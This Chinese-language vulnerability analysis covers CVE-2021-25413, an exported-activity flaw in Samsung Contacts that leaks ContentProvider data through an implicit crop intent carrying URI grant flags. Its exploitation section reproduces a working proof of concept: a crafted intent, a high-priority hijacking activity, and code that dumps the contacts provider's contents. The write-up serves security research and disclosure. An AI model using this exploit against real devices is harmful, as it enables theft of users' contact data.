[CVE-2021-25413] [Samsung] [Contacts] SetProfilePhotoActivity导出存在任意私有组件启动漏洞可获取ContentProvider数据

DateVersionDescriptionAuthor

2022.11.20

1.0

完整的漏洞分析与利用

wnagzihxa1n

0x00 漏洞概述

组件SetProfilePhotoActivity导出,通过合理构造Intent参数可以调用方法startActivityForResult(),方法startActivityForResult()使用的Intent参数是由内部构造的,其会将外部可控的URI赋值到启动Intent内部的ClipData字段,并且标志位设置为读写权限,漏洞点在于该构造出来的Intent是隐式Intent,未指定具体的接收组件,所以只需要制定一个高优先级满足ACTION配置的Activity,即可实现访问ContentProvider数据

0x01 触发条件

上线日期应用名包名版本号MD5下载链接

Contacts

com.samsung.android.app.contacts

12.1.10.30

60579c925977ca29b889d32085a0c350

0x02 PoC

0x03 前置知识

0x04 Root Cause Analysis

组件com.samsung.android.contacts.editor.SetProfilePhotoActivity导出

<activity 
        android:configChanges="keyboardHidden|orientation|screenSize" 
        android:hardwareAccelerated="false" 
        android:icon="@mipmap/ic_launcher_contacts" 
        android:label="@string/share_my_profile" 
        android:name="com.samsung.android.contacts.editor.SetProfilePhotoActivity" 
        android:taskAffinity="" 
        android:theme="@style/BackgroundOnlyTheme">
    <intent-filter>
        <action android:name="android.intent.action.SEND"/>
        <data android:mimeType="image/*"/>
        <category android:name="android.intent.category.DEFAULT"/>
    </intent-filter>
    <intent-filter>
        <action android:name="com.samsung.contacts.action.SET_AS_PROFILE_PICTURE"/>
        <data android:mimeType="image/*"/>
        <category android:name="android.intent.category.DEFAULT"/>
    </intent-filter>
</activity>

SetProfilePhotoActivityonCreate()方法里,[1]调用方法F8()处理传入Intent的字段,[2]调用方法H8()进入异步任务

// com.samsung.android.contacts.editor.SetProfilePhotoActivity
@Override  // com.samsung.android.dialtacts.common.contactslist.e
public void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    SetProfilePhotoPresenter setProfilePhotoPresenter = new SetProfilePhotoPresenter(this, PhotoModelFactory.a(), s0.a());
    this.mSetProfilePhotoPresenter = setProfilePhotoPresenter;
    this.G8(setProfilePhotoPresenter);
    this.__intent_action__ = this.getIntent().getAction();
    if(!this.F8(bundle)) {  // [1]
        return;
    }

    if(!PermissionsUtil.c(this, SetProfilePhotoActivity.C)) {
        String s = this.getString(0x7F12016E);  // string:contactsList "Contacts"
        PermissionsUtil.l(this, SetProfilePhotoActivity.C, 0, s, true);
        return;
    }

    this.H8();  // [2]
}

方法F8()也有一个判断,简单构造即可绕过,[1]调用方法E8()

// com.samsung.android.contacts.editor.SetProfilePhotoActivity
private boolean F8(Bundle bundle) {
    if(!"android.intent.action.SEND".equals(this.__intent_action__) && !"set_profile_photo".equals(this.__intent_action__) && !"com.samsung.contacts.action.SET_AS_PROFILE_PICTURE".equals(this.__intent_action__)) {
        return false;
    }

    this.E8(bundle);  // [1]
    return this.__intent_tmp_photo_uri__ == null || (new File(this.__intent_tmp_photo_uri__.getPath()).exists());
}

方法E8()取出传入Intent的两个字段"temp_photo_uri""cropped_photo_uri"保存到__intent_tmp_photo_uri____intent_cropped_photo_uri__

// com.samsung.android.contacts.editor.SetProfilePhotoActivity
private void E8(Bundle bundle) {
    if(bundle != null && (bundle.containsKey("temp_photo_uri")) && (bundle.containsKey("cropped_photo_uri"))) {
        this.__intent_tmp_photo_uri__ = Uri.parse(bundle.getString("temp_photo_uri"));
        this.__intent_cropped_photo_uri__ = Uri.parse(bundle.getString("cropped_photo_uri"));
        return;
    }

    String __intent_temp_photo_uri__ = this.getIntent().getStringExtra("temp_photo_uri");  // [1]
    String __intent_cropped_photo_uri__ = this.getIntent().getStringExtra("cropped_photo_uri");  // [2]
    if(__intent_temp_photo_uri__ != null && __intent_cropped_photo_uri__ != null) {
        this.__intent_tmp_photo_uri__ = Uri.parse(__intent_temp_photo_uri__);
        this.__intent_cropped_photo_uri__ = Uri.parse(__intent_cropped_photo_uri__);
    }
}

方法H8()先在[1]调用方法B8()进行判断,我们不能让其进入,同样 可以构造参数使其不进入,然后[2]调用异步任务进行处理

// com.samsung.android.contacts.editor.SetProfilePhotoActivity
private boolean B8() {
    return ("com.samsung.contacts.action.SET_AS_PROFILE_PICTURE".equals(this.__intent_action__)) 
                && this.getIntent().getExtras() != null 
                && (this.getIntent().getBooleanExtra("no_crop", false));
}

// com.samsung.android.contacts.editor.SetProfilePhotoActivity
private void H8() {
    if(this.B8()) {  // [1]
        if(this.getIntent().getParcelableExtra("android.intent.extra.STREAM") != null) {
            this.z = (Uri)this.getIntent().getParcelableExtra("android.intent.extra.STREAM");
            this.mSetProfilePhotoPresenter.getProfileIntentAndStartEditor();
            return;
        }

        AppLog.m("SetProfilePhotoActivity", "Invalid intent:" + this.getIntent());
        this.finish();
        return;
    }

    a setProfilePhotoActivity$a0 = new a(this, this.D8());
    this.B = setProfilePhotoActivity$a0;
    setProfilePhotoActivity$a0.executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, new Void[0]);  // [2]
}

异步任务SetProfilePhotoActivity.a有两个具体实现的方法doInBackground()onPostExecute()

doInBackground()的逻辑不影响本漏洞的分析,但是它有一个小知识点会影响人工分析

// com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
@Override  // android.os.AsyncTask
protected Object doInBackground(Object[] arr_object) {
    return this.a(((Void[])arr_object));  // [1]
}

方法a()调用方法savePhotoFromUriToUri()

// com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
protected Void a(Void[] arr_void) {
    SetProfilePhotoActivity setProfilePhotoActivity_ = (SetProfilePhotoActivity)this.setProfilePhotoActivity0.get();
    if(setProfilePhotoActivity_ == null) {
        return null;
    }

    this.savePhotoFromUriToUri(setProfilePhotoActivity_);  // [1]
    return null;

[1]获取传入Intent的ClipData,如果不为空则调用[2][3],反之如果为空,则会进入[5]关闭当前Activity,[4]可以通过构造传入Intent来绕过

// com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
private void savePhotoFromUriToUri(SetProfilePhotoActivity setProfilePhotoActivity) {
    Uri __uri__;
    ClipData __clipData__ = setProfilePhotoActivity.getIntent().getClipData();  // [1]
    if(__clipData__ != null && __clipData__.getItemCount() == 1 && __clipData__.getItemAt(0) != null) {
        __uri__ = __clipData__.getItemAt(0).getUri();  // [2]
        if(!this.setPhotoUri(setProfilePhotoActivity, __uri__)) {  // [3]
            return;
        }
    }
    else {
        __uri__ = null;
    }

    if(__uri__ == null) {
        if(setProfilePhotoActivity.getIntent().getExtras() != null && setProfilePhotoActivity.getIntent().getExtras().getString("shared_photo_uri", null) != null) {
            __uri__ = Uri.parse(setProfilePhotoActivity.getIntent().getExtras().getString("shared_photo_uri"));  // [4]
            goto label_48;
        }

        setProfilePhotoActivity.finish();  // [5]
        return;
    }

    try {
    label_48:
        PhotoDataUtils.S(__uri__, setProfilePhotoActivity.__intent_tmp_photo_uri__, false);  // [6]
    }
    catch(SecurityException securityException0) {
        AppLog.l("SetProfilePhotoActivity", "savePhotoFromUriToUri, SecurityException: " + securityException0.getMessage());
        setProfilePhotoActivity.finish();
        return;
    }

    if(this.imageTitleFromMediaDB == null) {
        this.imageTitleFromMediaDB = setProfilePhotoActivity.v.getImageTitleFromMediaDB(__uri__);
    }

    if(setProfilePhotoActivity.getIntent().getBooleanExtra("delete_temp_agif", false)) {
        PhotoDataUtils.h(__uri__);
    }
}

那此处就有一个问题,一个Activity调用了异步任务,在异步任务的生命周期里,调用者Activity被结束(比如调用方法finish()),异步任务会继续执行吗?

答案是:会继续执行下去

在方法onPostExecute()里,[1]调用方法c()

// com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
@Override  // android.os.AsyncTask
protected void onPostExecute(Object object) {
    this.c(((Void)object));  // [1]
}

此处即是漏洞关键点,[1]构造一个Intent,其中setProfilePhotoActivity.__intent_tmp_photo_uri__外部可控,[2][3][4]对Intent的类型字段进行配置,用于筛选能处理这些数据类型的Activity,[5]调用方法AbstractPhotoViewUtils.c()[6]调用方法AbstractPhotoViewUtils.b()对Intent添加字段,其中[5]会添加一个外部可控的字段,[7]是一个简单判断,[8]调用方法startActivityForResult()打开构造好的Intent

// com.samsung.android.contacts.editor.SetProfilePhotoActivity.a
protected void c(Void void0) {
    SetProfilePhotoActivity setProfilePhotoActivity = (SetProfilePhotoActivity)this.setProfilePhotoActivity0.get();
    if(setProfilePhotoActivity == null) {
        return;
    }

    Intent intent = new Intent("com.android.camera.action.CROP", setProfilePhotoActivity.__intent_tmp_photo_uri__);  // [1]
    String __intent_mimeType__ = setProfilePhotoActivity.getIntent().getStringExtra("mimeType");
    String __intent_type__ = setProfilePhotoActivity.getIntent().getType();
    if(__intent_mimeType__ != null) {
        intent.setDataAndType(setProfilePhotoActivity.__intent_tmp_photo_uri__, __intent_mimeType__);  // [2]
    }
    else if(__intent_type__ != null) {
        intent.setDataAndType(setProfilePhotoActivity.__intent_tmp_photo_uri__, __intent_type__);  // [3]
    }
    else if(!TextUtils.isEmpty(this.b) && (this.b.contains("gif"))) {
        intent.setDataAndType(setProfilePhotoActivity.__intent_tmp_photo_uri__, "image/gif");  // [4]
    }

    AbstractPhotoViewUtils.c(intent, setProfilePhotoActivity.__intent_cropped_photo_uri__, this.outputX);  // [5]
    AbstractPhotoViewUtils.b(intent, this.outputX);  // [6]
    if(setProfilePhotoActivity.v.i4(intent)) {  // [7] 查询Intent是否有响应的应用
        setProfilePhotoActivity.startActivityForResult(intent, 1);  // [8]
        return;
    }

    setProfilePhotoActivity.C8();
}

接下来依次分析,首先是方法c(),可以看到其中"output"字段和剪贴板数据是外部可控的,[2]调用方法setFlags()设置标志位,3表示Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION,描述接收该Intent可以获取指定URI的读写权限,[3]添加ClipData数据,[4]补充一些其它字段

// com.samsung.android.contacts.editor.o.AbstractPhotoViewUtils
public static void c(Intent intent, Uri __intent_cropped_photo_uri__, int outputX) {
    intent.putExtra("crop", true);
    intent.putExtra("output", __intent_cropped_photo_uri__);  // [1]
    intent.addFlags(3);  // [2]
    intent.setClipData(ClipData.newRawUri("output", __intent_cropped_photo_uri__));  // [3]
    AbstractPhotoViewUtils.a(intent, outputX);  // [4]
}

// com.samsung.android.contacts.editor.o.AbstractPhotoViewUtils
private static void a(Intent intent, int outputX) {
    intent.putExtra("outputX-gif", outputX);
    intent.putExtra("outputY-gif", outputX);
    intent.putExtra("max-file-size", PhotoViewUtils.a);
    intent.putExtra("support-crop-gif", true);
}

根据AOSP开源代码注释

  • https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/content/Intent.java#6602

如果同时设置了Intent的URI和ClipData,那么会同时给接收者赋予标志位所描述的权限

/**
 * If set, the recipient of this Intent will be granted permission to
 * perform read operations on the URI in the Intent's data and any URIs
 * specified in its ClipData.  When applying to an Intent's ClipData,
 * all URIs as well as recursive traversals through data or other ClipData
 * in Intent items will be granted; only the grant flags of the top-level
 * Intent are used.
 */
public static final int FLAG_GRANT_READ_URI_PERMISSION = 0x00000001;
/**
 * If set, the recipient of this Intent will be granted permission to
 * perform write operations on the URI in the Intent's data and any URIs
 * specified in its ClipData.  When applying to an Intent's ClipData,
 * all URIs as well as recursive traversals through data or other ClipData
 * in Intent items will be granted; only the grant flags of the top-level
 * Intent are used.
 */
public static final int FLAG_GRANT_WRITE_URI_PERMISSION = 0x00000002;

方法b()添加的数据不影响漏洞

// com.samsung.android.contacts.editor.o.AbstractPhotoViewUtils
public static void b(Intent intent, int outputX) {
    intent.putExtra("crop", "true");
    intent.putExtra("scale", true);
    intent.putExtra("scaleUpIfNeeded", true);
    intent.putExtra("aspectX", 1);
    intent.putExtra("aspectY", 1);
    intent.putExtra("outputX", outputX);
    intent.putExtra("outputY", outputX);
}

由于SetProfilePhotoActivity继承ContactsActivity,所以调用方法startActivityForResult()的时候会调用回父类的startActivityForResult()

// com.samsung.android.dialtacts.common.contactslist.ContactsActivity
@Override  // androidx.fragment.app.l
public void startActivityForResult(Intent intent, int v) {
    try {
        super.startActivityForResult(intent, v);
    }
    catch(ActivityNotFoundException activityNotFoundException) {
        AppLog.i(this.m8(), "startActivityForResult : " + activityNotFoundException.toString());
    }
}

从以上Intent构造过程来看,这个Intent并没有指定具体的接收组件,也就是说它是一个隐式Intent,只要满足条件的Activity都能够接收到,加上它的标志位是读写,所以定制一个高优先级且满足ACTION设置的Activity,就可以拦截到这个Intent并拥有其传递出来的权限

0x05 调试与利用

关于异步任务与Activity生命周期的问题可以写个应用验证,在方法doInBackground()里关闭Activity,观察异步任务是否会继续执行方法onPostExecute()

public class MainActivity extends AppCompatActivity {
    final private static String TAG = String.format("[*] [%s]", MainActivity.class.getName());

    class MyAsyncTask extends AsyncTask {
        private MainActivity mMainActivity;

        public MyAsyncTask(MainActivity mainActivity) {
            this.mMainActivity = mainActivity;
        }

        @Override
        protected void onPreExecute() {
            super.onPreExecute();
            Log.e(TAG, "onPreExecute: ");
        }

        @Override
        protected Object doInBackground(Object[] objects) {
            Log.e(TAG, "doInBackground: ");
            this.mMainActivity.finish();
            return null;
        }

        @Override
        protected void onPostExecute(Object o) {
            super.onPostExecute(o);
            Log.e(TAG, "onPostExecute: ");
        }
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Log.e(TAG, "onCreate: " + getIntent().toUri(Intent.URI_INTENT_SCHEME));
        MyAsyncTask myAsyncTask = new MyAsyncTask(this);
        myAsyncTask.executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR, new Void[0]);
    }
    
    @Override
    public void finish() {
        super.finish();
        Log.e(TAG, "finish: ");
    }
}

从日志输出去我们可以确认,当Activity被关闭之后,后续的方法onPostExecute()依旧会正常执行下去

[*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.exploit.startactivity          E  onCreate: intent:#Intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;launchFlags=0x10000000;component=com.wnagzihxa1n.exploit.startactivity/.MainActivity;end
[*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.exploit.startactivity          E  onPreExecute: 
[*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.exploit.startactivity          E  doInBackground: 
[*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.exploit.startactivity          E  finish: 
[*] [com.wnagzih...ty.MainActivity] com.wnagzihxa1n.exploit.startactivity          E  onPostExecute:

Oversecured实验室的PoC如下

Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfilePhotoActivity");
i.putExtra("temp_photo_uri", "/");
i.putExtra("cropped_photo_uri", ContactsContract.CommonDataKinds.Phone.CONTENT_URI.toString());
i.putExtra("mimeType", "test/1337");
startActivity(i);

作为startActivityForResult()的接收者,获取剪贴板数据进行读取,漏洞分析的时候有解释,剪贴板包含的URI也会被授予标志位所描述的权限

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    if ("com.android.camera.action.CROP".equals(getIntent().getAction())) {
        dump(getIntent().getClipData().getItemAt(0).getUri());
    }

    finish();
}

public void dump(Uri uri) {
    Cursor cursor = getContentResolver().query(uri, null, null, null, null);
    if (cursor.moveToFirst()) {
        do {
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < cursor.getColumnCount(); i++) {
                if(sb.length() > 0) {
                    sb.append(", ");
                }
                sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
            }
            Log.d("evil", sb.toString());
        } while (cursor.moveToNext());
    }
}

Manifest里要将PickerActivity配置成高优先级,可以优先响应到Intent

<activity android:name=".PickerActivity">
    <intent-filter android:autoVerify="true" android:priority="999999999">
        <action android:name="com.android.camera.action.CROP" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:mimeType="*/*" />
        <data android:mimeType="image/*" />
        <data android:mimeType="test/1337" />
    </intent-filter>
</activity>

0x06 漏洞研究

0x07 References

《Two weeks of securing Samsung devices: Part 2》

  • https://blog.oversecured.com/Two-weeks-of-securing-Samsung-devices-Part-2/

附录:调试过程记录

Last updated